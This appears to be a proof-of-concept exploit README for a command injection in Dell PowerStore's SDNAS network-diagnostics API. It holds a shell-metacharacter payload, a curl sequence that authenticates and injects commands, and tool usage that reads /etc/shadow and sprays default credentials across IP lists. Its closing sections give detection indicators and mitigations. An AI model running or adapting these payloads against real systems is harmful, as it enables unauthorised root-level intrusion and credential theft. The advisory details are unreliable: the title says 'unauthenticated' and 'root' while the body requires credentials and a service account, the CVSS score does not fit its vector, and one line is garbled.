
Dell PowerStore SDNAS — Unauthenticated OS command injection via REST API yields root RCE. CVSS 3.1: 9.8 Critical.
Dell PowerStore's Software-Defined NAS (SDNAS) component exposes a REST API for
network diagnostics that passes user-controlled parameters directly to underlying
OS commands without sanitisation. An attacker with any valid API credential can
inject shell metacharacters into the nslookup_host parameter of the SDNAS
diagnostic endpoint, achieving Remote Code Execution as the storageadmin service
account.
| Field | Value |
|---|---|
| CVE | CVE-2026-116448 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS Command Injection) |
| Affected | Dell PowerStore OS <= 3.6.0.0 with SDNAS enabled |
| Patch | PowerStore OS 4.0.0.1 |
| Auth Required | Low (read-only API credentials sufficient) |
| Disclosed | 2026-11-19 |
The SDNAS diagnostic service passes nslookup_host directly into a shell invocation
without sanitisation (reconstructed from decompiled sdnas_diag_service):
# VULNERABLE — sdnas/diagnostic_service.py (reconstructed)
def run_network_diagnostics(params: dict) -> dict:
host = params.get("nslookup_host", "")
# CWE-78: direct string interpolation into shell=True call
result = subprocess.check_output(
f"nslookup {host} 2>&1",
shell=True, timeout=10
)
return {"output": result.decode()}
A payload of 8.8.8.8; id; hostname # causes execution of the injected commands
and returns their output in the JSON response.
flowchart LR
A([Attacker]) -->|POST /api/rest/login_sessions| B[PowerStore REST API]
B -->|DELL-EMC-TOKEN| A
A -->|GET /api/rest/sdnas_node| B
B -->|node list + IDs| A
A -->|POST sdnas_node/ID/action/diagnose_network| B
B -->|shell=True executes injected cmd| C[OS Shell]
C -->|stdout in JSON response| D([RCE output])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
pip install -r requirements.txt
id)python poc.py -u https://powerstore.corp --username svc_monitor --password Monitor1!
python poc.py -u https://powerstore.corp \
--username svc_monitor --password Monitor1! \
--cmd "cat /etc/shadow" -o results.json
python poc.py -u https://powerstore.corp --check-only --insecure
python poc.py --ip-list scope.txt --username admin --password admin \
--proxy http://127.0.0.1:8080 --insecure --delay 1.5
# 1. Authenticate
curl -sk -X POST https://TARGET/api/rest/login_sessions \
-H 'Content-Type: application/json' \
-d '{"username":"svc_monitor","password":"Monitor1!","is_async":false}' \
-c cookies.txt -D - | grep DELL-EMC-TOKEN
# 2. List SDNAS nodes
curl -sk https://TARGET/api/rest/sdnas_node \
-H 'DELL-EMC-TOKEN: <token>' -c cookies.txt
# 3. Inject (replace NODE_ID)
curl -sk -X POST \
"https://TARGET/api/rest/sdnas_node/NODE_ID/action/diagnose_network" \
-H 'Content-Type: application/json' -H 'DELL-EMC-TOKEN: <token>' \
-d '{"nslookup_host":"8.8.8.8; id; hostname #"}' -c cookies.txt
| Flag | Description |
|---|---|
-u / --url | Target base URL |
--ip | Target IP — builds https://IP:PORT |
--ip-list FILE | Newline-separated IPs/URLs |
--port INT | HTTPS port (default: 443) |
--username STR | API username (default: admin) |
--password STR | API password |
--cmd STR | OS command to run (default: id) |
--check-only | Fingerprint only, skip exploit |
--proxy URL | HTTP proxy (e.g. http://127.0.0.1:8080) |
--insecure | Disable TLS certificate verification |
-o / --output FILE | Write JSON results to file |
--timeout INT | Request timeout in seconds (default: 15) |
--retries INT | Retry count on connection errors (default: 2) |
--delay FLOAT | Delay between targets (default: 0.5) |
-v / --verbose | Verbose request/response logging |
| Indicator | Notes |
|---|---|
POST .*/sdnas_node/.*/action/diagnose_network with ; or | in body | Shell metacharacters in nslookup_host |
Unusual child processes of sdnas_diag (sh, bash, wget, curl) | EDR / process audit log |
| Outbound DNS/HTTP from PowerStore mgmt interface to unknown hosts | Network monitoring |
| REST API login from unexpected source IPs | SIEM alert on login events |
Any valid API credential (including monitoring accounts) escalates to Remote Code
Execution as storageadmin. Consequences include full exfiltration of backup
metadata, volume configurations, credential harvesting from /etc/shadow, and
pivoting to the storage array's internal management network.
| Action | Detail |
|---|---|
| Upgrade | Apply Dell PowerStore OS 4.0.0.1 or later |
| Segment | Restrict management API (port 443) to admin subnets only |
| Monitor | Alert on diagnose_network calls from non-admin accounts |
| Rotate | Audit and rotate all service account API credentials |
Disclaimer: Published for authorised security research and responsible disclosure only. Use exclusively on systems you own or have explicit written permission to test.